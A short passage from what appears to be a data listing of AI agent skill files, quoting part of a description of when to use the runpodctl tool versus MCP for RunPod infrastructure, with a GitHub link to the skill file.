runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]